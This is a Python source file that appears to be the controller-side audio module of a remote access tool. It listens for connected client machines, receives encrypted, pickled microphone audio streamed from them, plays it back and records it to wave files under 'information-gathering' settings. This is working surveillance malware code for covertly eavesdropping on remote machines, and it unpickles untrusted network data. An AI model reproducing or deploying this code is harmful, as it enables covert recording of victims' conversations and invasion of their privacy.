import threading import pyaudio import pickle import zlib import sys from domestic.parse.internal_server_error_exception_handling import * from domestic.parse.error_exception_handling import * from domestic.utility.validate_dict_key import * from domestic.session.session_message import * from domestic.utility.status_message import * from domestic.modules.socket_handler import * from domestic.utility.write_error import * from domestic.make.make_wave import * from domestic.global_state import * @internal_server_error_exception_handling def audio_action(write_stream): try: headersize = state['settings']['headersize'] encryption = state['settings']['encryption'] encoding = state['settings']['encoding'] username = state['session']['username'] mode = [True, 0, b''] frames = [] p = pyaudio.PyAudio() CHUNK = 81920 FORMAT = pyaudio.paInt16 RATE = 44100 CHANNELS = 2 try: stream = p.open(format=FORMAT, channels=CHANNELS, rate=RATE, input=False, output=True, frames_per_buffer=CHUNK) except: CHANNELS = 1 stream = p.open(format=FORMAT, channels=CHANNELS, rate=RATE, input=False, output=True, frames_per_buffer=CHUNK) record = state['options']['information-gathering']['record']['audio'] client, addr = state['sockets']['modules']['audio'][0].accept() client_obj = (client, username, addr) state['sockets']['modules']['audio'][1].append(client_obj) message = pickle.dumps(b' ') message = zlib.compress(message, 1) message = encryption.do_encrypt(message) final_msg = bytes(f'{len(message):<{headersize}}', encoding) + message client.send(final_msg) while True: client_msg = client.recv(81920) if mode[0]: mode[1] = int(client_msg[:headersize]) mode[0] = False mode[2] += client_msg if len(mode[2])-headersize == mode[1]: frame = encryption.do_decrypt(mode[2][headersize:]) frame = zlib.decompress(frame) frame = pickle.loads(frame) if write_stream is None: stream.write(frame) frames.append(frame) real_msg = pickle.dumps(b' ') real_msg = zlib.compress(real_msg, 1) real_msg = encryption.do_encrypt(real_msg) final_msg = bytes(f'{len(real_msg):<{headersize}}', encoding) + real_msg client.send(final_msg) mode = [True, 0, b''] except Exception as err: write_error(err) try: if record: make_wave(['modules', 'modules/audio'], client_obj[1], (CHANNELS, p, FORMAT, RATE, frames)) stream.stop_stream() stream.close() p.terminate() state['sockets']['modules']['audio'][1].remove(client_obj) except Exception as err: write_error(err) finally: sys.exit(0) @error_exception_handling def audio(data): ip = validate_dict_key(data, 'ip') port = validate_dict_key(data, 'port') run = validate_dict_key(data, 'run') quiet = validate_dict_key(data, 'quiet') unbind = validate_dict_key(data, 'unbind') close = validate_dict_key(data, 'close') status = validate_dict_key(data, 'status') if run: assert state['session']['active'] if ip and port: data['ip'], data['port'] = ip, int(port) else: data['ip'], data['port'] = state['sockets']['modules']['audio'][0].getsockname() if quiet: del data['quiet'] del data['run'] threading.Thread(target=audio_action, args=(quiet,), daemon=True).start() session_message(data) elif ip and port: if state['sockets']['modules']['audio'][0] is None: bind_socket(ip, port, 'audio') else: ip, port = state['sockets']['modules']['audio'][0].getsockname() status_message(f'You are already listening for clients (audio module) on {ip}:{port}', 'danger', {'dots': True}) elif unbind: if state['sockets']['modules']['audio'][0]: unbind_socket('audio') else: status_message(f'You\'re not listening for clients (audio module)\nThere is no server socket (audio module) to close', 'warning') elif close: close_client(close, 'audio') elif status: if state['sockets']['modules']['audio'][0]: ip, port = state['sockets']['modules']['audio'][0].getsockname() status_message(f'You are listening for clients (audio module) on {ip}:{port}', 'primary') else: status_message('You are not listening for clients (audio module)', 'warning') else: raise Exception('Error message')